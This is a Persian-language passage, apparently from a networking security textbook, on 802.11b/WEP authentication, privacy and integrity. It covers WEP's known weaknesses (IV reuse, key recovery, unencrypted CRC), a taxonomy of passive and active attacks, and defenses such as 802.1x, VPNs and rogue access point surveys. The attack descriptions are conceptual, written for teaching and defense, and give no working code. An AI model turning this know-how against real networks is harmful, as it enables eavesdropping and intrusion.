نيز موسوم است، تكنيكي كلاسيك است كه بر اساس آن، پس » كليد مشترك«اين روش كه به روش      

شود. شكل زير اين روش را نشان  از اطمينان از اينكه مخدوم از كليدي سري آگاه است، هويتش تأييد مي

  دهد : مي
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فرسـتد.   را بـه مخـدوم مـي    ي تصادفي توليد كرده و آن رشتهيك  (AP)ي دسترسي  در اين روش، نقطه  

شـود) رمـز    نيـز ناميـده مـي    WEPي تصادفي را با كليدي از پيش تعيين شده (كه كليـد   مخدوم اين رشته

ي دسترسي به روش معكوس پيـام دريـافتي    كند. نقطه ي دسترسي ارسال مي كند و حاصل را براي نقطه مي

ي  سـاني ايـن دو پيـام، نقطـه     كنـد. در صـورت هـم    ي ارسال شده مقايسه مـي  هرا رمزگشايي كرده و با رشت

كنـد. روش رمزنگـاري و    دسترسي از اينكه مخدوم كليد صحيحي را در اختيار دارد اطمينـان حاصـل مـي   

  است.  RC4رمزگشايي در اين تبادل روش 

   
نيم، دو خطـر در كمـين ايـن    را روشي كاملاً مطمـئن بـدا   RC4در اين ميان با فرض اينكه رمزنگاري     

  روش است :

كنـد. بـه بيـان ديگـر      ست كه از هويت مخدوم اطمينان حاصل مي ي دسترسي الف) در اين روش تنها نقطه

هـاي   يـي كـه بـا آن در حـال تبـادل داده      ي دسترسـي  مخدوم هيچ دليلي در اختيـار نـدارد كـه بدانـد نقطـه     

  ست. ي دسترسي اصلي ست نقطه رمزي

ي سئوال و جواب بين دو طرف، با هدف احراز هويت يا  هايي كه مانند اين روش بر پايه ب) تمامي روش

در خطر هستند. در  man-in-the-middleتبادل اطلاعات حياتي، قرار دارند با حملاتي تحت عنوان 

يـي هريـك از دو طـرف را گمـراه      گونـه  گيـرد و بـه   اين دسته از حملات نفوذگر ميان دو طرف قـرار مـي  

  ند.ك مي

  Integrityو  802.11b – Privacyهاي امنيتي  سرويس 
  گـي) و  (محرمانـه   Privacyاين قسمت به بررسي دو سـرويس ديگـر اختصـاص دارد. سـرويس اول       

  است. Integrityسرويس دوم 

   
Privacy  

د گـرد  از آن ياد مـي  Confidentialityهاي ديگر امنيتي اغلب به عنوان  اين سرويس كه در حوزه    

هاي در حال تبادل اطلاعات با يكـديگر   داشتن اطلاعات كاربر يا گره معناي حفظ امنيت و محرمانه نگاه به
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كـه در   يـي  گونـه  گـردد، بـه   هاي رمزنگـاري اسـتفاده مـي    گي عموماً از تكنيك است. براي رعايت محرمانه

قابل رمزگشـايي نبـوده و   صورت شنود اطلاعات در حال تبادل، اين اطلاعات بدون داشتن كليدهاي رمز، 

  لذا براي شنودگر غيرقابل سوء استفاده است.

   
 RC4ي  گـردد كـه برپايـه    اسـتفاده مـي   WEPهاي رمزنگـاري   ، از تكنيك802.11bدر استاندارد     

گردد و  ي نيمه تصادفي توليد مي يك الگوريتم رمزنگاري متقارن است كه در آن يك رشته RC4است. 

بيـان ديگـر    شود. به ي اطلاعاتي پياده مي شود. اين رمزنگاري بر روي تمام بسته مي توسط آن كل داده رمز

هـاي   گرفته تا لايه IPگردند، از  سيم نيز توسط اين روش رمز مي هاي بالاي اتصال بي هاي تمامي لايه داده

منيتـي در  هـاي ا  ترين بخش از اعمـال سياسـت   . از آنجايي كه اين روش عملاً اصليHTTPبالاتري مانند 

سـازي   ي امـن  اسـت، معمـولاً بـه كـل پروسـه      802.11bسـيم مبتنـي بـر اسـتاندارد      بي هاي محلي  شبكه

  شود. گفته مي WEPاختصار  اطلاعات در اين استاندارد به

(مخفـف   IVتوانند داشته باشند. ايـن كليـدها بـا     بيت مي 104بيت تا  40هايي از  اندازه WEPكليدهاي  

Initialization Vector  ( بيتي  128بيتي تركيب شده و يك كليد  24يا بردار اوليهRC4  را تشكيل

دهد كه  تر باشد امنيت اطلاعات بالاتر است. تحقيقات نشان مي ي كليد بزرگ دهند. طبيعتاً هرچه اندازه مي

براي شكستن را  brute-forceبيت يا بالاتر عملاً استفاده از تكنيك  80ي  استفاده از كليدهايي با اندازه

هـا از   بيـت (كـه تعـدد آن    80ي  كند. به عبارت ديگر تعداد كليدهاي ممكن براي اندازه رمز غيرممكن مي

يـي كنـوني بـراي شكسـتن      هـاي رايانـه   يي بالاست كه قدرت پردازش سيستم است) به اندازه  24ي  مرتبه

  كند.  كليدي مفروض در زماني معقول كفايت نمي

هـاي   بيتي بـراي رمزكـردن بسـته    40سيم از كليدهاي  هاي محلي بي اكثر شبكه هرچند كه در حال حاضر 

يي كه اخيراً، بر اساس يك سـري آزمايشـات بـه دسـت آمـده اسـت،        كنند ولي نكته اطلاعاتي استفاده مي

در مقابـل حمـلات ديگـري، غيـر از اسـتفاده از روش       WEPگي توسط  ست كه روش تأمين محرمانه اين

brute-forceي كليد استفاده شده ندارد. پذيري ارتباطي به اندازه پذير است و اين آسيب ز آسيب، ني  

  گي در شكل زير نمايش داده شده است : براي تضمين محرمانه WEPنمايي از روش استفاده شده توسط 
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Integrity  
ــود از      ــت   Integrityمقص ــت و سياس ــادل اس ــين تب ــات در ح ــحت اطلاع ــي ص ــاي امنيت ــه  ه ــي ك ي

Integrity تـرين   هايي هستند كه امكان تغيير اطلاعات در حين تبادل را به كـم  كنند روش را تضمين مي

  دهند. ميزان تقليل مي

   
شود كه توسط آن امكـان تغييـر اطلاعـات     ه مينيز سرويس و روشي استفاد 802.11bدر استاندارد     

شود. روش مورد نظر استفاده از يك كد  رسي كم مي سيم و نقاط دست هاي بي در حال تبادل ميان مخدوم

CRC طور كه در شكل قبل نيز نشان داده شده است، يك  است. همانCRC-32    قبل از رمزشـدن بسـته

هاي رمزگشايي شده مجدداً محاسبه شده  داده CRCيي، شود. در سمت گيرنده، پس از رمزگشا توليد مي

معنـاي تغييـر    بـه  CRCگـردد كـه هرگونـه اخـتلاف ميـان دو       نوشته شده در بسـته مقايسـه مـي    CRCو با 

، مسـتقل از  RC4محتويات بسته در حين تبادل است. متأسفانه اين روش نيز مانند روش رمزنگاري توسط 

  پذير است. ه، در مقابل برخي از حملات شناخته شده آسيبي كليد امنيتي مورد استفاد اندازه

هيچ مكانيزمي براي مديريت كليدهاي امنيتي ندارد و عملاً تمامي عملياتي  802.11bمتأسفانه استاندارد 

كننـد   سـيم را نصـب مـي    ي بـي  گيرد بايد توسط كسـاني كـه شـبكه    كه براي حفظ امنيت كليدها انجام مي
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هاي اساسي در مبحث  ي گردد. از آنجايي كه اين بخش از امنيت يكي از معضلساز صورت دستي پياده به

سيم قابل تصور اسـت.   هاي بي هاي متعددي براي حمله به شبكه رمزنگاري است، با اين ضعف عملاً روش

شده از سوي كاربران و مديران شبكه مانند تغييرندادن كليد  هاي انجام ها معمولاً بر سهل انگاري اين روش

صورت مداوم، لودادن كليد، استفاده از كليدهاي تكراري يا كليدهاي پيش فرض كارخانه و ديگـر بـي    به

سـيم نـدارد. ايـن مشـكل از      هـاي بـي   توجهي ها نتيجه يي جز درصد نسبتاً بالايي از حملات موفق به شبكه

داد چنـين   از رخدهـد. حتـا بـا فـرض تـلاش بـراي جلـوگيري         تر خود را نشان مي تر بيش هاي بزرگ شبكه

كردن اين تعـداد بـالا    گذرد عملاً كنترل هاي شبكه از حدي مي هايي، زماني كه تعداد مخدوم انگاري سهل

ي نسـبتاً بـزرگ رخ مـي دهـد كـه همـان        گاه خطاهايي در گوشه و كنار اين شبكه بسيار دشوار شده و گه

  شود. باعث رخنه در كل شبكه مي

  WEPي ي امنيت هاي اوليه ضعف 8-4-3-3
پـرداختيم. در ضـمنِ ذكـر هريـك از      802.11هـاي امنيتـي اسـتاندارد     هاي قبـل بـه سـرويس    در قسمت

هـاي   يي داشته باشيم. در اين قسمت به بررسي ضعف هاي هريك اشاره ها، سعي كرديم به ضعف سرويس

  پردازيم. ي استفاده شده در اين استاندارد مي هاي امنيتي پايه تكنيك

   
اسـتوار   WEPبر اساس پروتكـل   802.11ي امنيت در استاندارد  كه گفته شد، عملاً پايه گونه همان    

 RC4بيتـي بـراي رمزنگـاري توسـط الگـوريتم       40در حالت استاندارد بر اساس كليـدهاي   WEPاست. 

را با كليدهايي با تعداد  WEPهاي خاصي از  گان نگارش شود، هرچند كه برخي از توليدكننده استفاده مي

  اند.  سازي كرده تر پياده هاي بيش يتب

   
ي كليدهاست.  يي كه در اين ميان اهميت دارد قائل شدن تمايز ميان نسبت بالارفتن امنيت و اندازه نكته     

جاكـه ايـن كليـدها     رود، ولي از آن بيت) امنيت بالاتر مي 104ي كليد (تا  با وجود آن كه با بالارفتن اندازه

شود، تضميني نيست كه ايـن انـدازه تمامـاً اسـتفاده      ي عبور تعيين مي ساس يك كلمهتوسط كاربران و بر ا
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يـابي بـه ايـن كليـدها فراينـد       هاي پيشين نيز ذكر شـد، دسـت   طور كه در قسمت شود. از سوي ديگر همان

  ي كليد اهميتي ندارد. چندان سختي نيست، كه در آن صورت ديگر اندازه

   
انـد كـه    هاي امنيتي اين استاندارد انجـام داده  بسياري را براي تعيين حفره هاي متخصصان امنيت بررسي    

  در اين راستا خطراتي كه ناشي از حملاتي متنوع، شامل حملات غيرفعال و فعال است، تحليل شده است. 

   
  ي اين پروتكل است :  هاي اوليه هاي انجام شده فهرستي از ضعف حاصل بررسي    

   
  WEPدهاي ثابت . استفاده از كلي1

از  سيم وجود دارد اسـتفاده  هاي محلي بي ها كه عموماً در بسياري از شبكه ترين ضعف يكي از ابتدايي    

كليدهاي مشابه توسط كاربران براي مدت زمان نسبتاً زياد است. اين ضـعف بـه دليـل نبـود يـك مكـانيزم       

جيبي كـه از يـك كليـد خـاص اسـتفاده       دهد. براي مثال اگر يك كامپيوتر كيفي يا مديريت كليد رخ مي

راحتـي لـو رفتـه و بـا      رس نفوذگر باشد، كليـد آن بـه   كند به سرقت برود يا براي مدت زماني در دست مي

  ها ناامن است. هاي كاري عملاً استفاده از تمامي اين ايستگاه توجه به تشابه كليد ميان بسياري از ايستگاه

هاي ارتباطي زيادي توسـط يـك حملـه     بودن كليد، در هر لحظه كانالاز سوي ديگر با توجه به مشابه     

  نفوذپذير هستند.

   
2 .Initialization Vector (IV)  

بيتي است در قسمت قبل معرفي شده است. اين بـردار بـه صـورت متنـي سـاده       24اين بردار كه يك فيلد 

توليد  IVگيرد بر اساس  فاده قرار ميكه كليدي كه براي رمزنگاري مورد است جايي فرستاده مي شود. از آن

ي احتمال تكرار آن و در نتيجه احتمـال توليـد كليـدهاي مشـابه      دهنده عملاً نشان IVي  مي شود، محدوده

تـوان بـه كليـدهاي مشـابه      كوتاه باشد در مدت زمان كمـي مـي   IVاست. به عبارت ديگر در صورتي كه 

  دست يافت. 
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ي اسـتفاده   شود. خصوصاً اگر از كارت شـبكه  مشكلي حاد مبدل مي هاي شلوغ به اين ضعف در شبكه    

هـاي   كنند و بسياري از كارت هاي ثابت استفاده ميIVهاي شبكه از  شده مطمئن نباشيم. بسياري از كارت

ي  همـراه ترافيـك بـالا در يـك شـبكه      هاي مشابه دارند. اين خطر بهIVي واحد  ي يك توليد كننده شبكه

سـت نفـوذگر در مـدت     بـرد و در نتيجـه كـافي    در مدت زماني كوتاه را بالاتر مي IVار شلوغ احتمال تكر

هاي اطلاعاتي را ذخيره كند. با ايجاد  هاي بستهIVي شبكه بپردازد و  هاي رمز شده زماني معين به ثبت داده

مدت زماني  ي شلوغ احتمال بالايي براي نفوذ به آن شبكه در هاي استفاده شده در يك شبكهIVبانكي از 

  نه چندان طولاني وجود خواهد داشت.

   
  . ضعف در الگوريتم3

شـود، نفـوذگر    شود و بـر اسـاس آن كليـد توليـد مـي      هاي تكرار مي در تمامي بسته IVكه  جايي از آن    

هاي رمزشده بـر اسـاس كليـد توليـد شـده بـر        ها و بستهIVتواند با تحليل و آناليز تعداد نسبتاً زيادي از  مي

جاكـه احتمـال    ، به كليد اصلي دست پيدا كند. اين فرايند عملـي زمـان بـر اسـت ولـي از آن     IVناي آن مب

  گردد. موفقيت در آن وجود دارد لذا به عنوان ضعفي براي اين پروتكل محسوب مي

   
  رمز نشده CRC. استفاده از 4

سيم  رسي بي ي نقاط دستهاي تأييدي كه از سو شود. لذا بسته رمز نمي CRC، كد WEPدر پروتكل      

ي  گردد و تنها در صورتي كه نقطه رمزنشده ارسال مي CRCشود بر اساس يك  سوي گيرنده ارسال مي به

فرسـتد. ايـن ضـعف ايـن امكـان را فـراهم        رسي از صحت بسته اطمينان حاصل كند تأييد آن را مـي  دست

را نيز بـه دليـل ايـن كـه      CRCدهد و  كند كه نفوذگر براي رمزگشايي يك بسته، محتواي آن را تغيير مي

ي تأييـد را   رسي بماند كه آيا بسته ي دست العمل نقطه راحتي عوض كند و منتظر عكس رمز نشده است، به

  صادر مي كند يا خير.

   
هسـتند.   WEPسـيم مبتنـي بـر پروتكـل      هـاي بـي   هـاي شـبكه   ترين ضعف هاي بيان شده از مهم ضعف    

ها تنها يكي از  اي فوق بايد به آن اشاره كرد اين است كه در ميان اين ضعفه يي كه در مورد ضعف نكته
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گـردد و لـذا بـا تغييـر الگـوريتم       ها (مشكل امنيتـي سـوم) بـه ضـعف در الگـوريتم رمزنگـاري بـاز مـي         آن

ي مشكلات امنيتي كماكان به قوت خود باقي  گردد و بقيه رمزنگاري تنها اين ضعف است كه برطرف مي

  هستند.

   
  است : بندي كرده  اختصار جمع را به WEPهاي امنيتي پروتكل  جدول زير ضعف    
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  خطرها، حملات و ملزومات امنيتي (بخش اول) 8-4-3-4
   

ه پيشرفت هاي اخير، در آينده يي نه چندان دور بايد منتظر گسترده همان گونه كه گفته شد، با توجه ب    

گي هرچه بيش تر استفاده از شبكه هاي بي سيم باشيم. اين گسترده گي، با توجه به مشكلاتي كـه از نظـر   

امنيتي در اين قبيل شبكه ها وجود دارد نگراني هايي را نيز به همراه دارد. اين نگراني ها كه نشان دهنده ي 

ريسك بالاي استفاده از اين بستر براي سازمان ها و شركت هاي بزرگ است، توسعه ي اين اسـتاندارد را  

در ابهام فرو برده است. در اين قسمت به دسته بندي و تعريف حملات، خطرها و ريسك هاي موجود در 

  مي پردازيم. IEEE 802.11xاستفاده از شبكه هاي محلي بي سيم بر اساس استاندارد 

   
  شكل زير نمايي از دسته بندي حملات مورد نظر را نشان مي دهد :    

   

   
   

  مطابق درخت فوق، حملات امنيتي به دو دسته ي فعال و غيرفعال تقسيم مي گردند.    

   
  حملات غيرفعال

در اين قبيل حملات، نفوذگر تنها به منبعي از اطلاعات به نحوي دست مي يابـد ولـي اقـدام بـه تغييـر          

محتوال اطلاعات منبع نمي كند. اين نوع حمله مي تواند تنها به يكي از اشكال شنود ساده يا آناليز ترافيك 

  باشد.
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  شنود        -

ات ردوبدل شده مي پردازد. بـراي مثـال شـنود ترافيـك روي     در اين نوع، نفوذگر تنها به پايش اطلاع    

يك شبكه ي محلي يا يك شبكه ي بي سيم (كه مد نظر ما است) نمونه هايي از اين نوع حملـه بـه شـمار    

  مي آيند.

   
  ناليز ترافيكآ آ        -

ده هـا مـي   در اين نوع حمله، نفوذگر با كپي برداشـتن از اطلاعـات پـايش شـده، بـه تحليـل جمعـي دا           

پردازد. به عبارت ديگر بسته يا بسته هاي اطلاعاتي به همـراه يكـديگر اطلاعـات معنـاداري را ايجـاد مـي       

  كنند.

   
  حملات فعال

برخلاف حملات غيرفعال، نفوذگر اطلاعات مورد نظر را، كه از منابع به دسـت   در اين نوع حملات،     

ييـرات مجـاز نيسـت. از آن جـايي كـه در ايـن نـوع حمـلات         مي آيد، تغيير مي دهد، كه تبعاً انجام اين تغ

اطلاعات تغيير مي كنند، شناسايي رخ داد حملات فرايندي امكان پذير است. در ايـن حمـلات بـه چهـار     

  دسته ي مرسوم زير تقسيم بندي مي گردند :

   
  تغيير هويت        -

وش شامل تغيير هويت اصـلي يكـي از   در اين نوع حمله، نفوذگر هويت اصلي را جعل مي كند. اين ر    

  طرف هاي ارتباط يا قلب هويت و يا تغيير جريان واقعي فرايند پردازش اطلاعات نيز مي گردد. 

   
  پاسخ هاي جعلي        -

نفوذگر در اين قسم از حملات، بسته هايي كه طرف گيرنده ي اطلاعات در يك ارتباط دريافت مـي      

براي اطلاع از كل ماهيت ارتباط يك اتصـال از ابتـدا پـايش مـي گـردد ولـي        كند را پايش مي كند. البته
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اطلاعات مفيد تنها اطلاعاتي هستند كه از سوي گيرنده براي فرستنده ارسال مي گردنـد. ايـن نـوع حملـه     

بيش تر در مواردي كاربرد دارد كه فرستنده اقدام به تعيين هويت گيرنده مي كند. در اين حالت بسته هاي 

سخي كه براي فرستنده به عنوان جواب به سؤالات فرستنده ارسال مي گردنـد بـه معنـاي پرچمـي بـراي      پا

شناسايي گيرنده محسوب مي گردند. لذا در صورتي كه نفوذگر اين بسته ها را ذخيره كند و در زماني كه 

فـوذگر قطـع شـده    توسـط ن  -به روشـي –يا گيرنده فعال نيست، يا فعاليت يا ارتباط آن به صورت آگاهانه 

است، مي تواند مورد سوء استفاده قرار گيرد. نفوذگر با ارسال مجدد اين بسته ها خود را به جـاي گيرنـده   

  جازده و از سطح دسترسي مورد نظر برخوردار مي گردد.

   
  تغيير پيام        -

از آن جايي كه گونـه   در برخي از موارد مرسوم ترين و متنوع ترين نوع حملات فعال تغيير پيام است.    

هاي متنوعي از ترافيك بر روي شبكه رفت وآمد مي كنند و هريك از اين ترافيـك هـا و پروتكـل هـا از     

لـذا نفـوذگر بـا اطـلاع از پروتكـل هـاي        شيوه يي براي مديريت جنبه هاي امنيتي خود استفاده مي كنند، 

از تغييـر پيـام هـا و در نتيجـه حمـلات را      مختلف مي تواند براي هر يك از اين انواع ترافيك نوع خاصي 

اتخاذ كند. با توجه به گسترده گي اين نوع حمله، كه كاملاً به نوع پروتكل بسته گي دارد، در اين جا نمي 

توانيم به انواع مختلف آن بپردازيم، تنها به يادآوري اين نكته بسنده مي كنيم كه اين حملات تنهـا دسـت   

رفته است و مي تواند با اعمال تغييرات خاصي، به گمراهـي دو طـرف منجـر    يابي به اطلاعات را هدف نگ

  فراهم كند. –كه مي تواند يك كاربر عادي باشد  –شده و مشكلاتي را براي سطح مورد نظر دست رسي 

   
  )DoS (Denial-of-Serviceحمله هاي         -

ل مي شود. در اين نوع حمله نفـوذگر  در حالات معمول، مرسوم ترين حملات را شام اين نوع حمله،     

يا حمله كننده براي تغيير نحوه ي كاركرد يا مديريت يك سامانه ي ارتباطي يا اطلاعاتي اقدام مـي كنـد.   

ساده ترين نمونه سعي در از كارانداختن خادم هاي نرم افزاري و سخت افزاري ست. پيرو چنين حملاتي، 

ه، كه معمولاً سامانه يي ست كه مشكلاتي بـراي نفـوذگر بـراي    نفوذگر پس از از كارانداختن يك سامان 



 

 

٩٠

٩٠

دست رسي به اطلاعات فراهم كرده است، اقدام به سرقت، تغيير يا نفوذ بـه منبـع اطلاعـاتي مـي كنـد. در      

برخي از حالات، در پي حمله ي انجام شده، سرويس مورد نظـر بـه طـور كامـل قطـع نمـي گـردد و تنهـا         

در اين حالت نفوذگر مي تواند با سوءاستفاده از اختلال ايجاد شده به نفوذ از  كارايي آن مختل مي گردد.

  طريق/به همان سرويس نيز اقدام كند.

   
  802.11امنيتي مهم شبكه هاي بي سيم  تمشكلا 8-4-3-5

   
بـه ترقـي    802.11است. همچنانكه » اترنت بي سيم«علت توسعه ه ب 802.11موفقيت حيرت انگيز 

دهد، تفاوت هايش با اترنت بيشتر مشخص مي شود. بيشتر اين تفاوت ها به دليل نا آشـنايي   خود ادامه مي

نسبي بسياري از مديران شبكه با لايه فيزيكي فركانس راديويي است. در حاليكه همه مـديران شـبكه بايـد    

مت گرفتـه مـي   درك پايه اي از لينك راديويي داشته باشند، تعدادي از ابزارها براي كمك به آنها به خد

شوند. آنالايزرهاي (تحليل كننده ) شبكه هاي بي سيم براي مدت ها ابزاري لازم براي مهندسان شبكه در 

آنالايزرها بعضي كاركردهاي امنيتي را نيز اضافه كرده از اشكال زدايي و تحليل پروتكل بوده اند. بسياري 

  را نيز مي دهد. اند كه به آنها اجازه كار با عملكردهاي بازرسي امنيتي 

، راه حل هاي بي سيمLANمشكل از مهم ترين آسيب پذيري هاي امنيتي موجود در  دو بخشدر اين 

چگونگي ساخت يك شبكه بي سيم امن مورد بحث قرار مي گيرد. بسياري از پرسش ها آنها و در نهايت 

كننـد. يـك آنـالايزر از اولـين     در اين زمينه در مورد ابزارهايي است كه مديران شبكه مي توانند اسـتفاده  

خريدهايي است كه يك مدير شبكه بايـد انجـام دهـد. آنالايزرهـا عـلاوه بـر عملكردهـاي سـنتي تحليـل          

پروتكل و ابزار تشخيص عيب، مي توانند براي تشخيص بسياري از نگراني هاي امنيتي كه استفاده از شبكه 

را بررسي مي » هفت مسأله امنيتي«هريك از اين  شبخبي سيم را كند مي كنند، استفاده شوند. اين سلسله 

يك ابزار حياتي براي تضمين امنيت شبكه هاي ، كند و توضيح مي دهد كه چگونه و چرا آنالايزر بي سيم

  بي سيم است.
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  دسترسي آسان :1مسأله شماره 

LAN افتن آنها، شبكه ها يهاي بي سيم به آساني پيدا مي شوند. براي فعال كردن كلاينت ها در هنگام

ارسال كنند. البته، اطلاعات مورد نياز بـراي پيوسـتن بـه    را با پارامتر هاي شبكه  Beaconبايد فريم هاي 

 Beaconنيـاز اسـت. فـريم هـاي     يك شبكه، اطلاعاتي است كه براي اقدام به يـك حملـه روي شـبكه    

شـما و   802.11توسط هيچ فانكشن اختصاصي پردازش نمي شوند و اين به اين معني اسـت كـه شـبكه    

قابل استفاده است. نفوذگران بـا آنـتن هـاي قـوي      802.11پارامترهايش براي هر شخصي با يك كارت 

كنند ممكن است اقدام به انجام حملاتي مي توانند شبكه ها را در مسيرها يا ساختمان هاي نزديك بيابند و 

  .داشته باشند به امكانات شما دسترسي فيزيكياينكه حتي بدون 
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  : تقويت كنترل دسترسي قوي1راه حل شماره 

پذيري مترادف نيست. شبكه هاي بـي سـيم بـراي ايجـاد امكـان اتصـال        دسترسي آسان الزاماً با آسيب

تا حد زيـادي مقـاوم شـوند. يـك     با اتخاذ سياستهاي امنيتي مناسب مناسب طراحي شده اند، اما مي توانند 

شبكه بي سيم مي تواند تا حد زيادي در اين اتاق محافظت شده از نظر الكترومغناطيس محـدود شـود كـه    

هرحال، بـراي بيشـتر موسسـات چنـين بـرد      ه بالايي از فركانس راديويي را نمي دهد. ب اجازه نشت سطوح

هايي لازم نيستند. تضمين اينكه شبكه هاي بي سيم تحت تأثير كنترل دسترسي قوي هسـتند، مـي توانـد از    

  خطر سوءاستفاده از شبكه بي سيم بكاهد.

از طراحي مطرح است. شبكه هـا بايـد   عنوان بخشي ه تضمين امنيت روي يك شبكه بي سيم تا حدي ب

نقاط دسترسي را در بيرون ابزار پيراموني امنيت مانند فايروال ها قرار دهند و مديران شبكه بايد به اسـتفاده  

ه ها براي ميسر كردن دسترسي به شبكه توجه كنند. يك سيستم قوي تأييد هويـت كـاربر بايـد ب ـ   VPNاز 

هسـتند.   IEEE 802.1xاز محصولات جديد كه برپايـه اسـتاندارد    كار گرفته شود و ترجيحاً با استفاده

802.1x  تعريف مي كند و از ديتـابيس هـاي كـاربري    را انواع فريم هاي جديد براي تأييد هويت كاربر

بهره مي گيرد. آنالايزرهاي باسيم سنتي مي توانند با نگـاه كـردن بـه تقاضـاهاي      RADIUSجامعي مانند 

RADIUS كان درك پروسه تأييد هويت را فراهم كنند. يـك سيسـتم آنـاليز خبـره بـراي      و پاسخ ها، ام

هاست كه ترافيك تأييد هويت LANشامل يك روتين عيب يابي مشخص براي   802.11تأييد هويت 

و عيب را براي مديران شبكه فراهم مي كند كه به آنـاليز بسـيار دقيـق     را نظاره مي كند و امكان تشخيص 

را دنبـال مـي     802.1xتياج ندارد. سيستم هاي آناليز خبره كه پيام هاي تأييد هويت كدگشايي فريم اح

فـوق العـاده بـاارزش     802.1xهـاي اسـتفاده كننـده از    LANثابت كرده اند كه براي استفاده در  كنند، 

  هستند.

ش هرگونه طراحي، بدون در نظر گرفتن ميزان قدرت آن، بايد مرتبـاً بررسـي شـود تـا سـازگاري چيـن      

فعلي را با اهداف امنيتي طراحي تضمين كند. بعضي موتورهاي آناليز تحليل عميقي روي فـريم هـا انجـام    

را تشخيص دهند. تعـدادي از حمـلات روي    802.1xمي دهند و مي توانند چندين مسأله معمول امنيت 
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مـام ضـعف هـاي    شبكه هاي باسيم در سال هاي گذشته شناخته شده اند و لذا وصله هاي فعلي به خـوبي ت 

شناخته شده را در اين گونه شبكه ها نشان مي دهند. آنالايزرهاي خبره پياده سازي هاي ضـعيف را بـراي   

سخت افزار و نرم   كارگيريه مديران شبكه مشخص مي كنند و به اين ترتيب مديران شبكه مي توانند با ب

  افزار ارتقاء يافته، امنيت شبكه را حفظ كنند.

هـاي  LANامناسب ممكن است منبع عمده آسيب پذيري امنيتي باشد، مخصوصاً اگـر  پيكربندي هاي ن

كارگرفته شده باشند. موتورهاي آناليز خبره مي تواننـد زمـاني را   ه بي سيم بدون نظارت مهندسان امنيتي ب

كه پيكربندي هاي پيش فرض كارخانه مورد استفاده قرار مي گيرند، شناسايي كنند و به ايـن ترتيـب مـي    

توانند به ناظران كمك كنند كه نقاطي از دسترسي را كه بمنظور استفاده از ويژگي هاي امنيتي پيكربنـدي  

نشده اند، تعيين موقعيت كنند. اين آنالايزرها همچنين مي توانند هنگامي كه وسايلي از ابزار امنيتـي قـوي   

    ت كنند.علائم هشدار دهنده را ثب، استفاده نمي كنند 802.1xها يا VPNمانند 

  : نقاط دسترسي نامطلوب2مسأله شماره 
بـي سـيم امـري منفـك از راه انـدازي آسـان آن نيسـت. ايـن دو          LANدسترسي آسان به شبكه هـاي  

خصوصيت در هنگام تركيب شدن با يكديگر مي تواننـد بـراي مـديران شـبكه و مسـوولان امنيتـي ايجـاد        

پيوتر نزديك خـود بـرود، يـك نقطـه دسترسـي! بخـرد و       دردسر كنند. هر كاربر مي تواند به فروشگاه كام

بدون كسب اجازه اي خاص به كل شبكه متصل شود. بسياري از نقاط دسترسي با اختيارات مديران مياني 

بي سيمشان را بـدون صـدور اجـازه از يـك      LANعرضه مي شوند و لذا دپارتمان ها ممكن است بتوانند 

بكارگرفتـه شـده   » نـامطلوب «دهند. اين دسترسي بـه اصـطلاح    مركزي در معرض عموم قرار  ITسازمان 

خطرات امنيتي بزرگي را مطرح مي كند. كاربران در زمينه امنيتي خبره نيسـتند و ممكـن   ، توسط كاربران 

هاي بي سيم آگاه نباشند. ثبت بسياري از ورودها به شبكه نشـان   LANاست از خطرات ايجاد شده توسط 

و بخش بزرگي از آنها تغييراتي نسبت بـه پيكربنـدي پـيش    فعال نيستند اي امنيتي از آن دارد كه ويژگي ه

  .راه اندازي شده اندفرض نداشته اند و با همان پيكربندي 

   
   



 

 

٩٤

٩٤

  : رسيدگي هاي منظم به سايت 2راه حل شماره
. مانند هر تكنولوژي ديگر شبكه، شبكه هاي بي سـيم بـه مراقبـت از سـوي مـديران امنيتـي نيـاز دارنـد        

مـورد بهـره بـرداري نادرسـت قـرار مـي گيرنـد، لـذا         به دليل سهولت استفاده بسياري از اين تكنولوژي ها 

  آموختن نحوه يافتن شبكه هاي امن نشده از اهميت بالايي برخوردار است. 

روش بديهي يافتن اين شبكه ها انجام همان كاري است كه نفوذگران انجام مي دهند: استفاده از يـك  

جستجوي آنها به اين منظور كه بتوانيد قبل از نفوذگران اين شبكه هـا را پيـدا كنيـد. نظـارت هـاي      آنتن و 

انجام گيرد. اگرچه هرچه نظارت ها سريع تـر انجـام   به صورت مرتب و در حد امكان فيزيكي سايت بايد 

بايـد   ل اين امـر گيرد، امكان كشف استفاده هاي غيرمجاز بيشتر است، اما زمان زيادي كه كارمندان مسوو

، كشف تمامي استفاده هاي غيرمجاز را بجز براي محيط هاي بسيار حسـاس، غيرقابـل توجيـه    صرف كنند

مي كند. يك راهكار براي عدم امكان حضور دائم مي تواند انتخاب ابزاري در انـدازه دسـتي باشـد. ايـن     

امور پشتيباني كاربران، براي كشف عمل مي تواند استفاده تكنسين ها از اسكنرهاي دستي در هنگام انجام 

  شبكه هاي غيرمجاز باشد.

عنـوان يـك   ه ب ـ 802.11aدر سال هاي اخيـر ظهـور    802.11يكي از بزرگترين تغييرات در بازار 

را  802.11aمحصول تجاري قابل دوام بود. اين موفقيت نياز به ارائه ابزارهايي براي مديران شبكه هاي 

پيشينيان خـود اسـتفاده مـي كنـد، بنـابراين بيشـتر        MACاز همان   802.11aبوجود آورد. خوشبختانه، 

و تحليل كننده ها مي دانند، بدرد مي خـورد. مـديران شـبكه بايـد دنبـال       802.11آنچه مديران راجع به 

ه را بصـورت يكجـا و ترجيحـاً ب ـ    802.11bو  802.11aمحصولي سازگار باشند كه هر دو استاندارد 

و كارت هاي ساخته شده با آنها   802.11a/bي كند. چيپ ست هاي دوباندي صورت همزمان پشتيبان

به آنالايزرها اجازه مي دهد كه روي هر دو باند بدون تغييرات سخت افزاري كار كنند، و اين بدين معنـي  

است كه مديران شبكه نياز به خريد و آموزش فقط يك چارچوپ پشتيباني شـده بـراي هـر دو اسـتاندارد     

ــد.  ــا دارن ــد ت ــا جــايي كــه ســازندگان آنالايزرهــا كــارت هــاي    802.11gايــن روال باي ــد، ت ادامــه ياب

802.11a/b/g .را مورد پذيرش قرار دهند  
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رسيدگي بـه سـايت و رديـابي نقـاط دسترسـي نـامطلوب       ابزارها مي توانند براي انجام امور از بسياري 

استفاده شوند، اما مديران شبكه بايد از نياز به همگامي با آخرين تكنيك هاي استفاده شـده در ايـن بـازي    

 802.11موش و گربه! آگاه باشند. نقاط دسترسـي مـي تواننـد در هـر بانـد فركانسـي تعريـف شـده در         

ت كه تمام ابزارهاي مورد استفاده در بررسـي هـاي سـايت بتواننـد كـل      بكارگرفته شوند، بنابراين مهم اس

را انتخـاب كـرده ايـد، آنـالايزر       802.11bمحدوده فركانسي را پويش كنند. حتي اگر شما استفاده از 

